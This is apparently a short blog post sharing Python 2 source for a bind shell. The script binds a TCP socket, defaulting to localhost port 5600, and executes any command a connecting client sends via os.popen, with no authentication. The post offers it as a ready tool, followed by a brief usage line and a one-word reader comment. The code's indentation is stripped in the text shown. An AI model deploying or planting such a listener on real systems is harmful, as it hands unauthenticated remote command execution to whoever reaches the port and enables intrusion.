Source Code
"""
http://www.terminalcoders.blogspot.com
*** Ajith Kp *** *** ajithkp560 ***
"""
import socket, os, sys
try:
try:
port = int(sys.argv[2])
except:
port = 5600
try:
ip = sys.argv[1]
except:
ip = "127.0.0.1"
host = (ip, port)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(host)
sock.listen(1)
while True:
client, addr = sock.accept()
client.send(os.getcwd()+"> ")
while True:
cmd = client.recv(1024)
ter = os.popen(cmd)
res = ""
for line in ter:
res+=line
client.send(res+os.getcwd()+"> ")
except KeyboardInterrupt:
try:
client.send("\n\nConnection closed... Goodbye...\n")
except:
pass
sock.close()
except socket.error:
client.close()
The first argument of this script is host and second argument is port to bind. Default host is `localhost` and port is `5600`.

1 comments :
Write commentslol =)) =))
Reply